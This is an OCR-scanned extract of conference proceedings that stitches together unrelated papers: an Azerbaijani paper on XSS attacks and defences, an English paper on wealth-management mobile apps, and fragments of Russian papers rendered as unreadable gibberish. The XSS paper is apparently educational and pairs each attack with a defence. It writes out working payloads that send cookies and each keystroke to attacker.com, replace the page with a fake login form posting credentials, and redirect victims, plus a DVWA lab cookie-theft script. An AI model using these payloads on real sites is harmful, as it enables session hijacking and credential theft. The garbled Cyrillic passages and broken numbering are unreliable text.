HaZEeXHOCTb, BbICOKYIO MPOU3BOAMUTENBHOCTb, LMPOKUE BO3MOMKHOCTM MO WHTErpaumm u
MaclITabMpPOBaHMIO, a TaKKe CU/bHYIKD  3KOCMCTEMY MHCTPYMEHTOB U COObLLEeCTBO
pa3paboTumkoB.OcHOBHble npeumyllectBa ASP.NET Bkato4atoT raybokyto mHterpaumio ¢ .NET,
rmbKmMe moaenn 6e3onacHoCTM M ayTeHTUdUKaumm, boratelh Habop COMYTCTBYOLWNX BUOAMOTEK
(ORM, Identity, SignalR »n T. 4.) ”W aKTMBHOE pasBMUTME B CTOPOHY 0O/aYHbIX U
KOHTEMHEePU3NPOBAHHbIX pPelleHn. Y4nTbiBad BOCTPEOOBAHHOCTb MMOKMX, MacliTabupyemblx M
H6e3onacHbix Beb-nnathopm B COBPEMEHHOM KoprnopaTMBHOM cekTtope, ASP.NET c 6onbwol
BEPOATHOCTbIO MPOAO/IKMT OCTaBaTbCA OZAHOM M3 KAOYEBbIX TEXHONOMMN ANA pa3paboTku Beb-
cMcTem, NOPTanoB M CEPBUCOB PA3IMYHOIO YPOBHA CIOMKHOCTMY.
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VEB SAYTLARDA XSS BOSLUQLARI Vo
KIBERCINAYSTKARLARIN HUCUM
VEKTORLARI

Sitara Maharramli Elxan qizi
Azarbaycan Respublikasinin Prezidenti Yaninda Dévlst idaracilik Akademiyasi / Kompiiter
Elmlari

XULASO

Cross-Site Scripting (XSS) veb tatbiglarda an genis yayilan va ciddi tahlikali naticalara sabab
olan zaifliklarden biridir. Bu boslug istifadacilardan galan malumatin dizglin sakilds
yoxlanilmamasi naticasinda yaranir va zararli kodlarin tatbig daxilinds isladilmasina imkan yaradir.
XSS vasitasila kibercinaystkarlar zararli JavaScript kodlarini istifadaci brauzerinds icra edarak
onlarin hesablarini als kegirs, cookie malumatlarini ogurlaya va vya istifadacinin icazasi olmadan
mixtalif amaliyyatlar hayata kecira bilarlar.

Magalada XSS-in novleri — Reflected, Stored va DOM-based hicumlari atrafli tasvir edilir.
XUsusila JavaScript vasitasila hayata kecirilan hiicumlar va onlarin tafarriatlari real nimunalarla
tagdim olunur. Bu nimunalar kibercinayatkarlarin istifada etdiyi mixtalif metodlari va onlarin
muimkin naticalarini basa dismaya kdmak edir. Eyni zamanda, kibertahlikasizlik mitaxassislari
va veb programcilar Ucln bu bosluglarin garsisini almaqg Ucgln istifade edila bilan mudafisa
mexanizmlari de muzakirs olunur. HTTP-only cookie-lar, Content Security Policy (CSP) va giris
malumatlarinin sanitizasiyasi kimi tadbirlar tagdim edilir. Magalanin magsadi, XXS bosluglarini
darindan izah edarak ham tahlikasizlik mitaxassislarinin, ham da veb inkisaf etdiricilarin bilik
saviyyasini artirmaqdir. Bu biliklar veb tatbiglarin tahlikasizlik saviyyasinin ylksaldiimasina xidmat
edir.

ACAR SOZLOR: Cross-Site Scripting (XSS), XSS injection, JavaScript hticumlari, Zsrarli kod injeksiyasi,
Veb tatbiq zaifliklari, XSS novlari, Hicum simulyasiyasi, Veb tatbiq tahlikasizliyi

GIRIS

Veb tatbiglerin tahlikasizliyi muasir texnologiya dinyasinda énamli movzulardan biridir va
XSS (Cross-Site Scripting) bu tahlikasizliyi ciddi sakilds tahdid edan asas zaifliklardan biridir. Bu
nov bosluglar, istifadaci malumatlarinin dizglin emal olunmamasi sababila zararli JavaScript
kodlarinin veb sahifslers daxil edilmasine sarait vyaradir. Bels hicumlar vasitasils
kibercinayatkarlar istifadaci malumatlarini ogurlamag, onlarin hesablarina ganunsuz giris etmak
va ya sistemlari manipulyasiya etmak lglin genis imkanlar alds edirlar. XSS zaifliklari, adatan,
istifadacilardan galan malumatlarin diizglin yoxlanilmamasi va ya filtrasiya edilmamasi naticasinda
meydana cixir. Bu boslug veb tatbiglarin istifadacilara daha ¢ox fardi va dinamik tacriiba tagdim
etmak Ucln istifads etdiyi funksional xUsusiyystlardan faydalanir. Naticads, ham istifadacilarin
saxsi malumatlari, ham da tatbigin bltovllyd ciddi risk altina disur.

XSS bosluglari 6zliylinds mixtalif novlera bélinir — Reflected XSS, Stored XSS ve DOM-
based XSS. Reflected XSS hicumlari daha cox istifadaci tarafindan gondarilan malumatin darhal
cavab kimi serverdan gaytarildigl hallarda rast galinir. Stored XSS isa istifadacilardan galan
malumatlarin uzunmiddatli saxlanildigi verilanlar bazalarinda va ya digar yaddas yerlarinda geyda
alinaraq, digar istifadacilarin garsisina c¢ixarilmasi zamani bas verir. DOM-based XSS isa birbasa
brauzer mihitinds, DOM manipulyasiyalari vasitasile hayata kecirilir va servera hec bir miracist



«Foundations and Trends in Research» (April 3-4, 2025). Copenhagen, Denmark I

talab etmir. Bu ndvlarin har biri fargli vektorlarla icra olunur va 6ziinemaxsus tahllikalar daslyir.
Hldcumlarin icrasinda ise JavaScript mihUm rol oynayir, ¢clnki brauzerlar tarafindan icra edilan
dinamik kodlar birbasa istifadaci tacribasina tasir edir. [1 5.32]

Magalada XSS-in texniki taraflari va hlicum vektorlari atrafli sakilda arasdirilir. Hamginin,
JavaScript ile hayata kecirilan real nimunalar tagdim edilir ki, oxucular XSS bosluglarini ve onlarin
muimkin naticalerini daha yaxsl basa dusstnlar. Zararli kod injeksiyasinin isloma prinsiplari ila
yanasl, bu clr hGcumlarin garsisini almaq U¢ctn muasir tahlikasizlik tadbirlari da mizakirs olunur.
Content Security Policy (CSP), giris malumatlarinin sanitizasiyasi, HTTP-only cookie-lar kimi
yanasmalar veb tatbiglarin tahlikasizlik saviyyasini artirmaq Ucln an effektiv vasitalerdan hesab
olunur.

Bu magalanin magsadi, veb tatbiglarda XSS bosluglarini tafarriath sakilds izah etmak va
ham veb programcilara, ham da kibertahlikasizlik mitexassislarina bu tahlikalari idara etmaya
kdomak edacak praktiki biliklar tagdim etmakdir. XSS bosluglarina garsi mibarizads asas maqgsad
yalniz istifadaci malumatlarinin tahlikasizliyini tamin etmak deyil, ham da tatbiglarin Gmumi
etibarliligini va funksionalligini gorumaqdir. Naticads, bu mdvzuya dair daha darin anlayisin tamin
edilmasi veb inkisaf etdiricilarin daha tahlikasiz ve davamli tatbiglar yaratmasina xidmat edacak.
[35.296]

XSS injection va onun novlari

Cross-Site Scripting (XSS) bosluglari asasan (¢ néva bolinr:
Reflected XSS
Stored XSS
DOM-based XSS.

Har biri mUxtalif mexanizmlar va hicum Usullari il farglanir, lakin asas magsad zararli
JavaScript kodlarini istifadacinin brauzerinda icra etmakdir. Bu hiicum novlarinin tasiri tatbigin
dizaynindan va istifadacilarin midafiasizliyindan asili olaraq fargli saviyyadas ola bilar. indi isa bu
novlarin har birini detalli sakilda nazardan kecirak.

Reflected XSS :

Reflected XSS hicumlari istifadacilarden galoan malumatin server terafinden dizgin
yoxlanilmadan geri qaytarildig hallarda bas verir. Bu nov hiicum, adatan, URL parametrlari, form
girislari va ya HTTP basliglari vasitasila hayata kegcirilir. Kibercinayatkarlar zararli JavaScript kodunu
URL-a yerlasdirarak qurbani bu linka klik etmaya tasviqg edir. Qurban linki klik etdikda, server hamin
malumati islayir va eyni malumati istifadaciya gaytarir, naticada brauzer bu zararli kodu icra edir.

Bu nov hicumlarin asas tahlikasi onlarin tez bir zamanda icra olunmasidir, ¢linki server
malumati saxlamir va onu birbasa istifadacinin brauzerina o6turtr. Reflected XSS, phishing
hicumlarinda tez-tez istifadsa olunur, ¢clnki cinayatkarlar qurbanin etibar etdiyi URL-lar vasitasila
malumatlarini ogurlaya bilirlar.

NUmuna :

http://example.com/search?qg=<script>alert('XSS')</script>

ogar server bu parametri yoxlamadan cavabda qgaytararsa, brauzer hamin zararli kodu icra
edacak va naticada "XSS" adl bir xabardarliq pancarasi acilacaq.

Stored XSS:

Stored XSS an tahlikali XSS névi hesab olunur, ¢linki zararli kod birbasa serverda saxlanilir
va bitln istifadacilara oturdlir. Bu név hicumlar daha cox forumlarda, sarh sistemlarinds,
istifadaci profillarinds va ya mesaj gondarma platformalarinda rast galinir. Kibercinayatkarlar
zararli JavaScript kodunu verilanlar bazasina va ya serverin basga bir saxlanma sahasina yazir.
Naticads, bu kod serverdan malumat alan har bir istifadacinin brauzerinds icra olunur.
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Stored XSS hiicumlari bir dafs hayata kecirildikdan sonra davamli tasir gostarir, ¢linki zararli
kod saxlanildigca har dafa icra olunur. Bu, digar XSS novlarine nisbatan daha ciddi tahliikalar
yaradir.

NUmuna :

<script>alert('"Hacked!')</script>

ogar server bu malumati yoxlamadan saxlayib digar istifadacilora gdstaracakss, hamin
sarhi oxuyan har bir istifadacinin brauzerinda bu kod icra olunacag.

DOM-based XSS:

DOM-based XSS digar XSS novlarindan farqgli olaraqg servera heg bir malumat géndarmir va
hicum brauzerin Document Object Model (DOM) strukturu Gzarinda bas verir. Bu hiicum zamani
zararli JavaScript kodlari birbasa istifadacinin brauzerinda isladilir ve DOM-un manipulyasiyasi ila
zararli amaliyyatlar hayata kegirilir. DOM manipulyasiyasi, asasan, JavaScript-in innerHTML, eval(),
document.write(), va ya location.hash kimi funksiyalari vasitasile aparilir.

DOM-based XSS veb tatbigin dinamik isloma mexanizmindan asilidir. 9ger bir tatbiq
istifadacinin daxil etdiyi malumatlari birbasa DOM-a slava edirsa va bu malumat yoxlaniimirsa,
zararli kod icra oluna bilar.

NUmuna :

var userlnput = location.hash;

document.getElementByld("output”).innerHTML = userinput;

ogaor istifadaci asagidaki links klik etsa:

http://example.com/#<script>alert('DOM XSS')</script>

Bu zaman innerHTML funksiyasi istifadacinin daxil etdiyi kodu yoxlamadan DOM-a daxil
edacak va zararli kod icra olunacag.

XSS ila Hayata Kegirilan Hiicum Vektorlari

XSS bosluglar kibercinaystkarlara genis spektrda hicum vektorlari taqdim edir. Bu
vektorlar vasitasile mixtalif magsadli hiicumlar hayata kecirila bilar: istifadaci malumatlarinin
ogurlanmasi, sessiyalarin ala kecirilmasi, sistemlara zarar verilmasi va s. Asagida XSS hlicumlarinda
istifada olunan spesifik vektorlar, onlarin izahi va nimunsalari taqdim olunur.

1. Cookie Ogurlanmasi:

Cookie-lar istifadaci sessiyasi hagginda malumat saxlayir va cox vaxt brauzer ila server arasinda
identifikasiya Gcln istifada olunur. XSS hicumu vasitasile kibercinayatkar cookie malumatlarini
ogurlayarag hamin istifadacinin hesabina ganunsuz giris alda eda bilar.

Zararli JavaScript kodu:

<script>

var cookies = document.cookie;

fetch('https://attacker.com/steal?data="+ encodeURIComponent(cookies));

</script>

Bu kod server tarafindan yoxlanilmadan istifadacinin brauzerina 6tirildikds,
document.cookie vasitasila istifadaci sessiyasina aid malumatlar hicumcunun serverina
gondarilir.

Miudafia Usulu:

HTTP-only atributu cookie-lara alava edilmalidir.

Content Security Policy (CSP) tatbig olunmalidir.
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2. Keylogger (Klaviatura Faaliyyatinin izlenmasi):

Keylogger zararli kodu istifadacinin brauzerinda isladilir va klaviaturadan daxil edilan har bir
simvolu toplayir. Bu, xtsusila login malumatlarinin ogurlanmasi tgln istifads olunur.

Zararli JavaScript kodu:

<script>

document.addEventListener('keydown’, function(event) {

fetch('https://attacker.com/log ?key="+ event.key);

Y

</script>

Bu kod istifadacinin daxil etdiyi har bir diymani geyd edarak hlicumc¢unun serverina
gondarir.

Mddafia:

DOM manipulyasiyalari Gglin input sanitizasiyasi tatbig olunmalidir.

CSP siyasatlari ila zararli domenlar bloklanmalidir.

3. Phishing Hicumlari
Phishing hiicumlarinda istifadacinin malumatlarini ogurlamag lciln saxta formalar va ya
vizual cahatdan eynila orijinal sahifalara banzar sahifalar yaradilir. XSS bosluglari bu clr
hicumlari asanlasdirir, clinki zararli kod orijinal sahifanin bir hissasi kimi gériina bilar.
Zararli JavaScript kodu:
<script>
document.body.innerHTML =
'<form action="https.//attacker.com/steal" method="POST">'
+ <input type="text" name="username" placeholder="Username">'
+ <input type="password" name="password" placeholder="Password">'
+ '<button type="submit">Login</button>'
+ '</form>";
</script>

Bu kod istifadacinin brauzerinda isladikds, orijinal sahifanin yerina saxta giris formasi gostarilir.
Miudafia:

Dinamik HTML kontentlari yoxlaniimadan DOM-a alava olunmamalidir.

istifadaci malumatlari daxil edilarkan HTTPS protokolu istifads edilmalidir.

4. Malumatlarin Manipulyasiyasi

Hicumcular istifadacilari casdirarag onlardan miayysan malumatlar alda etmak Ggln
sahifadaki matnlari va ya elementlari dayisdirs bilarlar. Bu, sahifanin funksionalligini tamamila
manipulyasiya eda bilar.

Zararli JavaScript kodu:

<script>

document.getElementByld('balance’).innerText =

'Hesabiniz bloklanib. Bizimla alaga saxlayin xxx-xxx-xx-xx.';

</script>

Bu kod istifadaci hesabinin balansini géstaran matn sahasini dayisdirarak onu saxta
malumatlarla aldadir.

Miudafia:

DOM elementlarina birbasa giris mahdudlasdiriimalidir.

Sifralema ila inteqrasiya tamin olunmalidir.



I Proceedings of the 9th International Scientific Conference

5. Redirect (Yonlandirma) Hicumlari

XSS bosluglari istifadacilari basqa bir zararli sayta yonlandirmak tgiin ds istifada edils bilar.
Hldcumcular etibarli domenlarin adindan istifads edarak istifadacilarin diggatini yayindirirlar.

Zararli JavaScript kodu:

<script>
window.location = 'https://attacker.com/phishing’;
</script>
Bu kod brauzeri avtomatik olarag hiicumcunun idara etdiyi saxta bir sayta yonlandirir.
Midafia:

e XSS filtrasiya va tamizlama mexanizmlari tatbiq olunmalidir.

e Referrer va origin basliglari yoxlaniimaldir.
Bu vektorlarin har biri fargli tasirlar gostarir va tahlikasizlik zaifliklarindan maksimum istifads
etmaya imkan verir. istifadacilari bu hiicumlardan gorumaq tciin kodun sanitizasiyasi, diizgiin
filtrasiya mexanizmlari va glcli tahlikasizlik siyasatlari tatbig olunmahdir

XSS hiicumunun labaratoriyada praktiki tatbiqi

XSS hicumlarinin praktiki tatbigi bu tahllkssizlik bosluglarinin darindan oyranilmasi Ggln
zaruri hesab olunur. Bu magsad ila hlicum vektorlarinin 6yranilmasi va tatbigi Uc¢ln xdsusi
labaratoriyalardan istifade olunur. XSS hicumlarini sinamaq Ugln xUsusi platformalar, masalan,
OWASP Juice Shop, DVWA (Damn Vulnerable Web Application), va ya bWAPP kimi simulyasiya
edilmis tahlikasizlik bosluglari ila zangin muhitlardan istifads olunur. Biz XSS-hiicum vektorlarini
tasvir etmak Ucln DVWA labaratoriyasandan istifads edacayik. Labaratoriyanin muxtalif veb
bosluglari test etma imkanindan alava Ustln cahatlarindan biri de har bir bosluga sabab olan
resurs kodun da tasvir olunmasidir. Burada biz tahlikasizlik saviyyasini da tanzimlayarak muixtalif
saviyyali (low,medium,high va high) hlicumlari simulyasiya eda bilirk.

=
DVWA) Reflected XSS Source
T Vulnerability: Reflected Cross Site Scriptin| <?Php
Instructions. o
What ? ‘Submit ' i Y SIPULE
SewplResetdd | lljsywmm = = if( array_key_exists( “"name", $_GET ) &% $_GET[ ‘name’ ] != NULL ) {
Brute Force el Ch Anti-CSRF toke
Command injection checkToken( $_REQUEST[ ‘'user_token' ], $_SESSION[ 'session_token' ], ‘index.php' );
CSRF More Information
File Inclusion S put
File Upload . $name = htmlspecialchars( $_GET[ 'name' ] );
Insecure CAPTCHA 2
SQL Injection eedback for end E
156K lascbon (ONid) S| echo "<pre>Hello ${name}</pre>";
Weak Session IDs }
XSS (DOM)
EET generateSessionToken();
DVWA Security
PHP Info 25
About
Logout —_—
| Compare Al Levels
Username: admin Vi
Security Level: low L
PHPIDS: disabled

Sakil 1. Damn Vulnerable Web Application (Reflected XSS)

Magalada geyd edilan nimunalardan birini praktiki tatbig etmak Ucln bu labaratoriyanin
Reflected XSS bolmasindan istifade edacayik. Qaynaqg kodundan da gorindiyi kimi bizim input
bélmasina daxil etdiyimiz kod GET metodu isla oldugumuz sahifaya geri gdndarilir va filterdan
kecirilmadan bir basa sahifada aks olunur. ilkin olarag XSS boslugunun sshifeds mévcud olub
olmadigini an sada script ila (<script>alert('Hacked!')</script>) yoxlaya bilarik. Naticads ekranda
alert pancarasi acilacaqgdir. Lakin bu script hamisa natica vermayadas bilar. Bu zaman biz gaynaq
kodunu analiz eds bilarik va avtomatlasdiriimis alatlar vasitasi ilo mUxtalif XSS payload-lar istifada
eda bilarik.
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XSS boslugunun oldugunu miayyat etdiyimizdan sonra cookie malumatlarini ogurlamaga cahd
eda bilarik. Bu amsaliyyatl hayata kecirmak Ucln hackerlar 6z serverlarini istifada edirlar va
ogurlanan malumatlar onlarin serverlarinae géndarilir. Lakin biz test magsadi ilo datalari lokal
serverimiza gondaracayik. Bu prossesi hayata kecirmak Gciin python ile daxili HTTP serveri isa
salirig va lokal ip Gnvanimiza uygun zararli javascript kodunu hazirlayiriqg.

Zararli JavaScript kodu:

<script>

var cookies = document.cookie;

var img = new Image();

img.src = 'http://10.0.2.15:8080/cookie ?data="+ encodeURIComponent(cookies);
</script>

® O Vuherability: Reflected ¢ X

File Actions Edit View Help
& C @ O , us-east-10 attackdefensecloudlab ¥ =

-8 Import bookmarks... Kali Linux § KaliTools « KaliDocs N Kali Forums e Kali NetHunter * Exploit-DB

=

s Vulnerability: Reflected Cross Site Scripting (XSS)

Instructions

TR Whats you nae? [sampensnicookiesy st (Submt)

Brute Force

Command injection
CSRE More Information
File Inclusion
File Upload
Insecure CAPTCHA
SQL injection
SQL Injection (Blind)
Weak Session Ds
x5 (ooM) |

XSS (Stored]

DVWA Security

PHP Info

About

Logout
View Source | View Help

Sakil 1. Damn Vulnerable Web Application (Reflected XSS) — Cookie datalarinin hackera
gondarilmasi

Natica

XSS (Cross-Site Scripting) hiicumlari miasir veb tahlikasizliyi Ggin ciddi tahdidlardan biridir va
malumat sizmalari, istifadaci malumatlarinin ogurlanmasi, va ya veb tatbiglarinin manipulyasiyasi
kimi ciddi naticalara sabab ola bilar. Bu magalada, XSS hicumlarinin névlari, onlardan neca
gorunmag va xss hicumlarinin praktiki tatbiq vektorlari hagginda malumat verilmisdir.

XSS hicumlarina garsi midafia Usullarinin dizgln tatbiqgi, veb tatbiglarinin tahlikasizliyini
tamin etmak Gcgln vacibdir. Mihim mudafis mexanizmlari kimi dizgln giris tamizlema va
kodlasdirma, Content Security Policy (CSP) tatbiqi, ve miasir tahllkasizlik vasitalarinin istifadasi,
istifadaci malumatlarinin gorunmasinda shamiyyatli rol oynayir.

Natica olaraqg, XSS hiicumlarinin tasirli sakilda garsisini almagq Ggin tahlikasizlik mitaxassislari
va programcilar mintazam olarag yeni metodlar va alstlar tatbig etmsali va veb tatbiglarinin
zaifliklarini daim tahlil etmalidirlar. Bu yanasma, veb tshlikasizliyi sahasinds davamli inkisaf va
misbat naticalar alda etmaya kdmak edacakdir.
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Mobile Application for E-Services in
Wealth Management
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Kazakh-British Technical University, Master's Program in Software Engineering

Abstract

The rapid development of mobile technologies and the proliferation of smartphones have
considerably transformed the wealth management industry. Mobile applications for e-services in
wealth management allow clients and financial advisors to manage portfolios, monitor market
performance, and execute investment strategies in real time. This research paper examines the
role of mobile applications in wealth management, focusing on service delivery, user experience,
and security. It analyzes the key features and benefits of mobile wealth management applications,
explores the challenges of design and implementation, and discusses best practices. The paper
concludes with a forward-looking perspective on how these applications will evolve in the era of
digital transformation.

1. Introduction

The wealth management sector has traditionally relied on face-to-face consultations and paper-
based documentation. However, growing digitization and rapid technological advances have
shifted focus toward delivering personalized financial services online. In response to an
increasingly tech-savvy clientele, financial institutions are now emphasizing mobile applications
that serve as comprehensive platforms to manage investment portfolios, request support, and
receive real-time updates on markets and economic conditions.

Mobile e-services offer the possibility of 24/7 access to financial data, streamlined portfolio
rebalancing, and secure transaction processing. The immense convenience of having all
investment information at one’s fingertips strengthens customer engagement and fosters trust.
While the adoption of mobile technology in wealth management is still evolving, it has already
demonstrated the potential to enhance transparency, improve customer satisfaction, and reduce
operational costs for financial institutions.

This paper aims to explore the current landscape of mobile applications in wealth management,
addressing the benefits, challenges, and best practices of implementing e-services on
smartphones. It provides insights into how mobile applications impact client-advisor interactions,
user experiences, and investment decisions. Finally, it looks at future developments and potential
innovations in this dynamic field.

2. Background

2.1 Growth of Digital Financial Services

Over the last decade, the financial services sector has been profoundly transformed by digital
technologies. According to data from the World Bank and global consulting firms, more than 60%
of financial transactions, including payments, transfers, and investments, now take place through
electronic channels rather than branch-based systems (Deloitte, 2019). This digital evolution has
helped reduce transaction times, increase transparency, and expand access to financial products.
Traditional investment services historically required multiple layers of middlemen—brokers,
bankers, and wealth advisors—resulting in high costs and slow decision-making. Digitization has
eliminated many of these inefficiencies, allowing institutional and retail clients to access
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investments quickly via online platforms. These platforms now increasingly take the form of
mobile apps, enabling even broader consumer participation in financial markets.

2.2 Mobile Penetration and Wealth Management

Smartphone penetration is now at an all-time high worldwide, with over six billion active
smartphones globally (GSMA, 2021). This universal reach provides an ideal channel for delivering
e-services in the wealth management space. Mobile devices offer unique capabilities such as
biometric security and geolocation data, enhancing both the user experience and system security.
Wealth management professionals can use mobile apps to stay updated on emerging market
trends, track client portfolios, and securely share crucial financial information with clients. For
investors, mobile e-services provide a convenient interface for checking portfolio performance,
receiving instant notifications on trades or changes in asset values, and setting up automated
investment strategies. Additionally, new features like robo-advisors are seamlessly integrated into
mobile apps, providing algorithm-driven portfolio management at lower costs

3. Methodology
To understand the role and benefits of mobile applications for e-services in wealth management,
this research adopts a qualitative approach based on three core methods:
1. Literature Review: Examination of academic journals, industry research, and regulatory
reports. The review provides a conceptual foundation of mobile application features,
security issues, and digital transformation in finance.

3. Case Study Analysis: Investigation of three major mobile wealth management apps
currently on the market, assessing factors such as user experience (UX), feature sets, and
security protocols. These case studies draw on publicly available information from financial
institutions’” websites and app stores.

5. Expert Interviews: Semistructured interviews with financial advisors, application
developers, and fintech professionals. These interviews yield insights on best practices,
pitfalls, and future perspectives in mobile wealth management app development.

6.

Through these methods, the research identifies key drivers that shape mobile wealth
management applications and pinpoints the factors that influence client adoption and satisfaction.

4. Key Features of Mobile Wealth Management Applications
4.1 Portfolio Management and Analysis
One of the core components of a mobile wealth management app is portfolio management. Users
can view the composition of their portfolios, monitor gains and losses, and analyze asset
allocation. Common functionalities include:
e Portfolio Visualization: Graphical dashboards to see distribution across stocks, bonds,
mutual funds, and alternative investments.

e Performance Tracking: Real-time tracking of returns, benchmark comparisons, and
historical performance data.

Research Tools: News updates, integrated analysis, and investment screening tools that
feed into buy/sell decisions.
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4.2 Transaction Execution
Clients can conduct transactions anywhere and anytime. This functionality encompasses:
e Order Placement: Buy and sell orders for stocks, bonds, and other securities with various
order types (market, limit, stop-loss).

e Automated Transactions: Pre-set instructions or “robo-advisory” algorithms can
automatically rebalance portfolios based on user-defined thresholds or changing market
conditions.

e Fund Transfers: Ability to move funds between linked accounts instantly or schedule
recurring transfers for systematic investing.

4.3 Client Communication and Advising
Mobile wealth management apps can integrate various communication channels, such as
chatbots, direct messaging, and secure video calls, to facilitate interaction between clients and
advisors.
e Push Notifications: Alerts on market changes, upcoming events, or threshold-based
triggers (e.g., a stock dropping below a certain price).

e Secure Messaging: Encrypted channels for exchanging documents (e.g., account
statements or tax forms) and responding to client queries.

e Virtual Advisory Sessions: Live sessions through video calls or chat for personalized advice,
enabling seamless advisor-client interaction without physical meetings.

4.4 Personalization and Robo-Advisory Services

Mobile apps often employ machine learning and artificial intelligence (Al) to deliver personalized
insights and recommendations. Robo-advisors use algorithmic-driven strategies to construct
portfolios based on client-specific objectives, risk tolerance, and time horizon. The ongoing
optimization allows novice and experienced investors to stay aligned with optimal asset allocations
without constant manual oversight.

4.5 Security and Compliance Features
Security is fundamental for any financial application. To address strict regulatory requirements,
mobile wealth management apps integrate several security measures:
e Multi-Factor Authentication (MFA): Biometrics (fingerprint, facial recognition), SMS
confirmations, or one-time passwords.

[

e Encryption: End-to-end encryption of all communication and data stored on the device or
in the cloud.

[

e Secure Data Storage: Robust back-end systems to ensure user data confidentiality and
compliance with regulatory frameworks like GDPR and PCI DSS.

e Regulatory Compliance: Built-in functionalities that ensure transaction reporting, client
data privacy, and audit trails for financial services authorities.
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5. Benefits of Mobile E-Services in Wealth Management

5.1 Increased Accessibility

Wealth management apps provide clients with 24/7 access to portfolio information, which
reduces dependence on physical branch visits. This is particularly valuable for time-sensitive
transactions in volatile markets or for clients located in remote areas.

5.2 Real-Time Decision-Making

Real-time market feeds and analytics enable clients and advisors to make timely, informed
decisions. Instant notifications about market fluctuations help investors capitalize on short-term
opportunities or mitigate potential risks.

5.3 Cost Efficiency

By automating many administrative tasks—such as data entry, reporting, and portfolio
rebalancing—mobile apps help wealth managers cut operational costs. Robo-advisory services, in
particular, deliver algorithmic-driven advice at significantly lower fees than traditional models.
5.4 Enhanced Client Engagement and Satisfaction

Immediate access to financial data, coupled with interactive features such as chatbots, calculators,
and personalized research, fosters stronger engagement. Clients become more proactive and
confident in their investment strategies, which strengthens the advisor-client relationship.

5.5 Competitive Differentiation

In a market where trust and service quality are paramount, a well-designed mobile platform can
serve as a significant differentiator. Financial institutions that leverage user-friendly apps, robust
security, and personalized advice gain a competitive edge, attracting tech-savvy and younger client
segments.

6. Challenges and Considerations

6.1 Security and Privacy Concerns

Although mobile e-services are convenient, they introduce cyber threats and hacking
vulnerabilities. Attackers may exploit weaknesses in mobile devices or intercept data during
transmission. Consequently, financial institutions must prioritize robust security protocols, regular
penetration testing, and user education on safe app usage.

6.2 Regulatory Compliance

Wealth management is heavily regulated. Mobile apps must adhere to Know Your Customer (KYC)
rules, Anti-Money Laundering (AML) legislation, and data protection regulations (e.g., GDPR in the
EU or GLBA in the US). Ensuring compliance across multiple jurisdictions adds complexity to
development and maintenance.

6.3 User Experience Design

A poorly designed interface can discourage clients from adopting mobile services, especially if they
are older or less tech-savvy. Striking a balance between comprehensive functionality and simplicity
requires careful UX design. Overly complex dashboards or too many notifications can overwhelm
users.

6.4 Technology Integration

Legacy systems within financial institutions can complicate seamless data exchange. Integration
challenges may arise when synchronizing a new mobile app with existing back-end and middle-
office systems. Additionally, ensuring compatibility with multiple device types and operating
systems requires continuous development effort.

6.5 Data Management and Analytics

Wealth management apps generate large volumes of client data, requiring advanced data
analytics capabilities and scalable databases. Without effective data management, the institutions
risk suboptimal portfolio analyses, slow loading times, and storage inefficiencies.
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7. Best Practices for Implementation
1. Holistic Security Strategy
2. Implement multi-factor authentication, robust encryption standards, and continuous
monitoring to protect data integrity and client privacy.

s w

Collaborative Development

5. Foster close collaboration between app developers, financial experts, legal teams, and
user-experience designers to ensure regulatory compliance and a streamlined user
interface.

N

Iterative Design and Testing
8. Use agile methodologies, beta testing, and user feedback loops to continually refine the
application. Frequent updates maintain user interest and address evolving market needs.

10. Seamless Onboarding

11. Simplify the account creation and KYC processes for new users. Encourage robust but
user-friendly identity verification protocols, minimizing friction while maintaining
compliance.

12.

13. Transparent Communication and Education

14. Clearly explain fees, investment risks, and platform functionalities. Provide educational
resources (tutorials, FAQs, webinars) to guide users through investing concepts and
technology usage.

15.

16. Scalable Infrastructure

17. Design back-end systems that can handle large volumes of data and concurrent users.
Cloud-based infrastructures often offer better flexibility and cost-efficiency.

18.

8. Future Perspectives and Innovations
The pace of technological change in wealth management suggests a bright future for mobile e-
services. Trends likely to shape the next generation of wealth management apps include:
1. Artificial Intelligence and Advanced Analytics
2. Enhanced Al-driven analytics and predictive modeling will deliver deeper insights into
market performance, risk assessments, and individual portfolio customization.

3.

4. Voice-Enabled Services

5. Integrating voice assistants and natural language processing could allow users to retrieve
account information and execute trades using simple voice commands, increasing
accessibility for broader demographics.

6.

7. Blockchain-Based Security and Smart Contracts

8. Blockchain technology has the potential to further bolster security, reduce transaction
times, and enhance auditability. Smart contracts could automate tasks such as dividend
payments and asset transfers in a transparent, trustless manner.

9.

10. Augmented Reality (AR) and Virtual Reality (VR)
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11. In the more distant future, AR/VR interfaces could offer immersive, 3D portfolio
management experiences. Advisors and clients might collaborate in virtual spaces,
exploring investment scenarios and stress-testing strategies in real time.

12.

13. Deeper Personalization

14. As big data platforms collect more granular user information, wealth management apps
could deliver hyper-personalized advice factoring in lifestyle habits, retirement plans, and
personal values (e.g., ESG preferences).

15.

9. Conclusion

Mobile applications for e-services in wealth management are rapidly evolving to meet the
demands of modern investors seeking convenient, transparent, and personalized financial
services. By offering real-time access to market data, automated investment mechanisms, and
interactive communication channels, these applications have transformed how clients and
advisors collaborate on investment strategies.

However, the success of mobile e-services in wealth management hinges on robust security,
stringent regulatory compliance, and effective user experience design. Institutions must confront
challenges related to security vulnerabilities, data management, and compatibility with existing
systems. By following best practices—emphasizing collaboration, iterative design, and transparent
communication—financial institutions can unlock the full potential of mobile e-services.

Looking ahead, the continued integration of Al, blockchain, and other cutting-edge technologies
will spur further innovation, making mobile wealth management platforms even more
sophisticated. Ultimately, these advancements promise to democratize access to high-quality
investment tools, fostering greater financial literacy and more efficient capital allocation on a

global scale.
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[Tony4yeHume ypaBHEHUA LATYHHOW KPUBOM
(ypaBHeEHMA PobepTca) n nocTpoeHue mnx
A5 WaPHUPHOrO YeTbIPeEX3BEHHMKA B
cucteme Maple

ApakyHoB KOpuit Munxannosumu
NHCTUTYT MEXaHMKM N MalLMHOBeAEeHMA. PykoBoAMTENb NPOEKTA, AOKTOP TEXHUYECKMX
Hayk, KasaxcTtaH, AimaTbl

BeeneHue. B aToi paboTe nsyyeH apyron cnocob nonyyeHns ypaBHeHuns tmna PobepTca ¢
MOMOLLIO CUCTEMbI KOMMbIOTEPHOW anrebpbl Maple. YpaBHEHMA LWATYHHbIX KPUBbLIX ABAAIOTCS
CNIOXKHbIMW YPaBHEHMAMM BbICOKOTO NMOPAZAKA. [103TOMY TOYHO AN NPUBANKEHHO NO3BONAIOT
OnMcaTb NPaKTUYECKM N0OYI0 TPAEKTOPUIO ABUMKEHMA, YTO OYEHb BAXKHO NPW pelleHnr 3a4a4m
